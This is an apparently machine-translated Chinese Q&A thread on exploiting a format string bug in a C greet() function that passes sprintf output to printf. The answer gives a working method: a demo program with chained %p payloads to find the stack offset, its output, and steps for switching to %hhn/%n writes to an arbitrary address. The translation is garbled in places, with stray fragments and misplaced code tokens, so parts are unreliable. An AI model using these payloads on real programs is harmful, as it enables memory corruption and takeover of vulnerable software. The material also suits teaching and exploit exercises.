我想使用格式字符串利用(特别是sprintf)将整数1写入地址0x08049940
这是函数的外观
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
我尝试了多个教程,但是我相信它们不起作用,因为我的字符串已经以“ Hello”开头。因此,我尝试使用输入内容开始写得更低
%。1%n \ x39 \ x99 \ x04 \ x08
低7个值,以及原始地址附近的其他地址。但是我的gdb调试器不断告诉我,0x08049940上的地址仍然是代码中指定的默认地址。
答案 0 :(得分:1)
您不会利用sprintf
进行格式字符串攻击,而是稍后进行printf
调用。
如果您可以观察到输出,则利用它非常容易。您可以使用足够的%p
或%x
来构造字符串,而不是直接利用漏洞,直到看到所需的字节为止。例如,此程序对我有用:
#include <stdio.h>
void greet(char *s) {
char buf[666];
sprintf(buf, "Hello %s!\n", s);
printf(buf);
}
int main(void) {
greet("aaaaaa%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p%p"
"%p%p%p%p%p%p%p%0#p\x01\x02\x03\x04");
}
我用gcc -m32
编译并运行,输出为
Hello aaaaaaaa0x566386f00x566386fc0x566385ac0xf7f4e5580x1
0x10x566386fc0x6548d9a40x206f6c6c0x616161610x61616161
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x702570250x702570250x70257025
0x702570250x702570250x4030201!
现在我们看到了0x04030201
,我们可以将最后的%0#p
更改为%hhn
,以在地址中写入一个 byte 或{{1} }表示%hn
,或short
表示%n
。此数字是到目前为止写入的字符数,已转换为int
,char
或short
。
当我们知道地址在堆栈中的位置时,我们可以将每个int
更改为%p
,并且我们知道该地址将只消耗一个字符,从而更好地控制了所得的数字。 / p>
开始时%c
有点松弛-可以用来更改其中一次转换的精度,以根据需要更改容易写入的字符数(例如,如果结果数字 123 太低,可以通过打印一个字符来扩展 124 字符字段宽度:a
);可以通过从提示中删除3个a来抵消count的增加。
同样可以使用%124c
进行验证:
%0#p
我们得到:
greet("aaa%123c%c%c%c%c%c%p%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%0#p\x01\x02\x03\x04");
最后,我们仅将Hello aaa
���X0x565e46fc�la1%%%%%%%%%%%%0x4030201!
替换为%0#p
,然后就会发现魔术。
要证明它确实在写地址0x04030201,可以使用gdb
to find out the address that caused the violation:
%hhn
其余的作为练习留给读者...